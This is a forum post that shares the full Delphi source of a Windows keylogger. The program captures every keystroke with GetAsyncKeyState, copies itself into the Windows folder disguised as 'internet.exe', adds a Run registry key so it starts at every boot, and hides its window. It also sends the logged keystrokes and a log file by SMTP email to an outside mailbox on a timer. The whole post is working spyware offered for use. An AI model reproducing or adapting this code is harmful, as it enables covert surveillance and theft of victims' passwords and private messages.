Keylooger by bonruck[Delphi]
Publicado: 12 Ago 2010, 12:13
Código: Seleccionar todo
unit Umae;
interface
uses
Windows,Registry,Winsock,shellapi, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls, IdBaseComponent, IdMessage, IdComponent,
IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP, IdPOP3,
Menus, ComCtrls, Buttons,XPMan,RzBHints, RzBckgnd, RzTray, Sockets,
IdSNPP;
type
Tfrmmae = class(TForm)
capturakey: TTimer;
Memo1: TMemo;
PopupMenu1: TPopupMenu;
Fechar1: TMenuItem;
XPManifest1: TXPManifest;
RzBalloonHints1: TRzBalloonHints;
RzBackground1: TRzBackground;
RzTrayIcon1: TRzTrayIcon;
Ocultar1: TMenuItem;
Mostrar1: TMenuItem;
Envia: TTimer;
Progresso: TTimer;
ProgressBar1: TProgressBar;
Label1: TLabel;
salvaarquivo: TTimer;
procedure GravaRegistro(Raiz: HKEY; Chave, Valor, Endereco: string);
procedure ApagaRegistro(Raiz: HKEY; Chave, Valor: string);
procedure capturakeyTimer(Sender: TObject);
procedure Fechar1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure enviaemail;
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure EnviaTimer(Sender: TObject);
Procedure confere;
procedure ProgressoTimer(Sender: TObject);
procedure salvaarquivoTimer(Sender: TObject);
private
procedure WMEndSession(var Msg : TWMEndSession); message WM_ENDSESSION;
public
{ Public declarations }
end;
var
frmmae: Tfrmmae;
IdSMTP:tIdSMTP;
idMessage:TidMessage;
idpop31:Tidpop3;
arquivo:string;
hora:string;
conectado:boolean;
const
RSP_SIMPLE_SERVICE = 1;
RSP_UNREGISTER_SERVICE = 0;
implementation
{$R *.dfm}
var F:Textfile;
procedure GravaRegistro(Raiz: HKEY; Chave, Valor, Endereco: string);
var
Registro: TRegistry;
begin
Registro := TRegistry.Create(KEY_WRITE); // Chama o construtor do objeto
Registro.RootKey := Raiz;
Registro.OpenKey(Chave, True); //Cria a chave
Registro.WriteString(Valor, '"' + Endereco + '"'); //Grava o endereço da sua aplicação no Registro
Registro.CloseKey; // Fecha a chave e o objeto
Registro.Free;
end;
//___________________________________________________________________
function GetIP:string;
//--> Declare a Winsock na clausula uses da unit
var
WSAData: TWSAData;
HostEnt: PHostEnt;
Name:string;
begin
WSAStartup(2, WSAData);
SetLength(Name, 255);
Gethostname(PChar(Name), 255);
SetLength(Name, StrLen(PChar(Name)));
HostEnt := gethostbyname(PChar(Name));
with HostEnt^ do
begin
Result := Format('%d.%d.%d.%d',
[Byte(h_addr^[0]),Byte(h_addr^[1]),
Byte(h_addr^[2]),Byte(h_addr^[3])]);
end;
WSACleanup;
end;
Procedure Tfrmmae.confere;
begin
if (getip<>'127.0.0.1') and(getip<>'0.0.0.0')and(Memo1.text<>'') and (hora<>'') then
begin
conectado:=true ;
//showmessage(getip+' Você está conectado!');
end
else
begin
conectado:=false;
//showmessage(getip+' Você está desconectado!');
end;
end;
Function HoraToMin(Hora: String): Integer;
begin
Result := (StrToInt(Copy(Hora,1,2))*60) + StrToInt(Copy(Hora,4,2));
end;
procedure Tfrmmae.enviaemail;
begin
confere;
if conectado then
begin
IdSMTP := TIdSMTP.Create( Nil );
idMessage := TIdMessage.Create( Nil );
idpop31 := Tidpop3.Create( Nil );
{Configurações IdPOP}
IdPOP31.Host := 'pop3.bol.com.br';
IdPOP31.Username :='[email protected]';
IdPOP31.Password := '123456';
IdPOP31.Connect;
idMessage.Body.add(MEMO1.Text);
idMessage.From.Text := '[email protected]'; //quem vai enviar
IdMessage.from.Address := '[email protected] ';;
idMessage.Recipients.EMailAddresses :='[email protected]'; // qeum vai receber
IdMessage.Subject := 'Keylogger '+datetostr(now)+':'+timetostr(time); //assunto
IdMessage.Body := memo1.Lines; //corpo da mensagem
{Configurações IdSMTP}
//IdSMTP1.BoundIP := '200.221.8.150';
IdSMTP.AuthenticationType := atlogin;//mostra que requer autenticação
IdSMTP.Username := 'osmanobr'; //login
IdSMTP.Password := '123456'; //senha
IdSMTP.Host := 'smtps.bol.com.br';//smtp
IdSMTP.Port := 25; //porta do yahoo
//Manipulando os Anexos
TIdAttachment.Create(idmessage.MessageParts, TFileName(arquivo));
// IdPOP31.Connect;
IdSMTP.Connect;
try
IdSMTP.Send(IdMessage);
finally
IdSMTP.Disconnect;
IdPOP31.disConnect;
end;
// Application.MessageBox('Email enviado com sucesso!', 'Confirmação',
//MB_ICONINFORMATION + MB_OK);
IdSMTp.Free ;
idMessage.Free ;
idpop31.Free;
end;
end;
procedure Tfrmmae.WMEndSession(var Msg : TWMEndSession);
begin
if Msg.EndSession = TRUE then
begin
hora:=timetostr(time);
memo1.Lines.SaveToFile(arquivo);
showmessage('O Windows está sendo finalizado as: '+datetostr(now));
close;
end;
end;
function Coloca(txt: String): String;
begin
frmmae.Memo1.Text := frmmae.Memo1.Text + txt;
end;
procedure Tfrmmae.capturakeyTimer(Sender: TObject);
var
i : byte;
begin
for i:=8 To 222 do
begin
if GetAsyncKeyState(i)=-32767 then
begin
case i of
8 : begin
memo1.Lines[memo1.Lines.count-1] := copy(memo1.Lines[memo1.Lines.count-1],1,length(memo1.Lines[memo1.Lines.count-1])-1); //Backspace
memo1.text:=memo1.text+'[Bakspace]';
end;
9 : memo1.text:=memo1.text+'[Tab]';
13 : memo1.text:=memo1.text+ '[Enter]'+#13#10; //Enter
17 : memo1.text:=memo1.text+'[Ctrl]';
27 : memo1.text:=memo1.text+'[Esc]';
32 :memo1.text:=memo1.text+' '; //Space
// Del,Ins,Home,PageUp,PageDown,End
33 : memo1.text := Memo1.text + '[Page Up]';
34 : memo1.text := Memo1.text + '[Page Down]';
35 : memo1.text := Memo1.text + '[End]';
36 : memo1.text := Memo1.text + '[Home]';
//Arrow Up Down Left Right
37 : memo1.text := Memo1.text + '[Left]';
38 : memo1.text := Memo1.text + '[Up]';
39 : memo1.text := Memo1.text + '[Right]';
40 : memo1.text := Memo1.text + '[Down]';
44 : memo1.text := Memo1.text + '[Print Screen]';
45 : memo1.text := Memo1.text + '[Insert]';
46 : memo1.text := Memo1.text + '[Del]';
145 : memo1.text := Memo1.text + '[Scroll Lock]';
//Number 1234567890 Symbol !@#$%^&*()
48 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+')'
else memo1.text:=memo1.text+'0';
49 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'!'
else memo1.text:=memo1.text+'1';
50 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'@'
else memo1.text:=memo1.text+'2';
51 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'#'
else memo1.text:=memo1.text+'3';
52 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'$'
else memo1.text:=memo1.text+'4';
53 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'%'
else memo1.text:=memo1.text+'5';
54 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'^'
else memo1.text:=memo1.text+'6';
55 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'&'
else memo1.text:=memo1.text+'7';
56 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'*'
else memo1.text:=memo1.text+'8';
57 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'('
else memo1.text:=memo1.text+'9';
65..90 : // a..z , A..Z
begin
if ((GetKeyState(VK_CAPITAL))=1) then
if GetKeyState(VK_SHIFT)<0 then
memo1.text:=memo1.text+LowerCase(Chr(i)) //a..z
else
memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
else
if GetKeyState(VK_SHIFT)<0 then
memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
else
memo1.text:=memo1.text+LowerCase(Chr(i)); //a..z
end;
//Numpad
96..105 : memo1.text:=memo1.text + inttostr(i-96); //Numpad 0..9
106:memo1.text:=memo1.text+'*';
107:memo1.text:=memo1.text+'&';
109:memo1.text:=memo1.text+'-';
110:memo1.text:=memo1.text+'.';
111:memo1.text:=memo1.text+'/';
144 : memo1.text:=memo1.text+'[Num Lock]';
112..123: //F1-F12
memo1.text:=memo1.text+'[F'+IntToStr(i - 111)+']';
186 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+':'
else memo1.text:=memo1.text+';';
187 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'+'
else memo1.text:=memo1.text+'=';
188 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'<'
else memo1.text:=memo1.text+',';
189 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'_'
else memo1.text:=memo1.text+'-';
190 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'>'
else memo1.text:=memo1.text+'.';
191 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'?'
else memo1.text:=memo1.text+'/';
192 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'~'
else memo1.text:=memo1.text+'`';
219 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'{'
else memo1.text:=memo1.text+'[';
220 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'|'
else memo1.text:=memo1.text+'\';
221 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'}'
else memo1.text:=memo1.text+']';
222 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'"'
else memo1.text:=memo1.text+'''';
end;
end;
end;
end;
procedure Tfrmmae.Fechar1Click(Sender: TObject);
var senha:string;
begin
senha:=inputbox('Aguardando comando...','Digite a senha para sair','');
if senha='1234567890' then
begin
//enviaemail;
Close;
end
else
Showmessage('Você não tem privilégios de administrador para fechar esse programa.');
end;
procedure Tfrmmae.FormCreate(Sender: TObject);
var
Dados: TSHFileOpStruct;
begin
Shortdateformat:='dddd, dd" de "mmmm" de "yyyy';
frmmae.Top:=2000;
frmmae.Left:=3000;
Shortdateformat:='dddd, dd" de "mmmm" de "yyyy';
hora:=timetostr(time);
hora:=inttostr(HoraToMin(hora));
//arquivo:=hora+'-'+inttostr(HoraToMin(hora))+'.txt';
//Showmessage(arquivo);
arquivo:='c:\windows\save.txt';
//---------------------------------
//copiar o exe para a system32
if not fileexists('c:\windows\internet.exe')then
begin
FillChar(Dados,SizeOf(Dados), 0);
with Dados do
begin
wFunc := FO_COPY;
pFrom := PChar('internet.exe');
pTo := PChar('c:\windows\');
fFlags:= FOF_ALLOWUNDO;
end;
SHFileOperation(Dados);
end;
//---------------------------------
try
GravaRegistro(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run',
'IniciarPrograma', 'c:\windows\' + 'Internet.exe');
// MessageDlg('Registro gravado com sucesso!', mtInformation, [mbOk], 0);
except
MessageDlg('Houve um erro ao gravar registro!', mtInformation, [mbOk], 0);
end;
end;
procedure Tfrmmae.FormShow(Sender: TObject);
var
H : HWnd;
begin
H := FindWindow(Nil,'Internet');
if H <> 0 then ShowWindow(H,SW_HIDE);
Top:=2000;
Left:=3000;
Shortdateformat:='dddd, dd" de "mmmm" de "yyyy';
end;
procedure Tfrmmae.FormClose(Sender: TObject; var Action: TCloseAction);
begin
close;
if memo1.Text<>'' then
begin
memo1.Lines.SaveToFile(arquivo);
end;
enviaemail;
end;
procedure Tfrmmae.EnviaTimer(Sender: TObject);
begin
Shortdateformat:='dddd, dd" de "mmmm" de "yyyy';
enviaemail;
memo1.Clear;
end;
procedure Tfrmmae.ProgressoTimer(Sender: TObject);
begin
ProgressBar1.Position:= Random(100);
end;
procedure Tfrmmae.salvaarquivoTimer(Sender: TObject);
begin
Assignfile(F,arquivo);
if not FileExists('c:\windows\Save.txt') Then
begin
Rewrite(F);
Closefile(F);
End
Else
Assignfile(F,'c:\windows\Save.txt');
{$I-}
Append(F);
{$I+}
If IOResult<> 0 Then
Begin
ShowMessage('Não foi possível abrir o arquivo.');
End;
Write(F,Memo1.Text);
// Memo1.Clear;
Closefile(F);
end;
function CloneProgram(sExecutableFilePath : string ): string;
var
pi: TProcessInformation;
si: TStartupInfo;
begin
FillMemory( @si, sizeof( si ), 0 );
si.cb := sizeof( si );
CreateProcess(Nil, PChar( sExecutableFilePath ), Nil, Nil, False, NORMAL_PRIORITY_CLASS,Nil, Nil, si, pi );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
end;
end.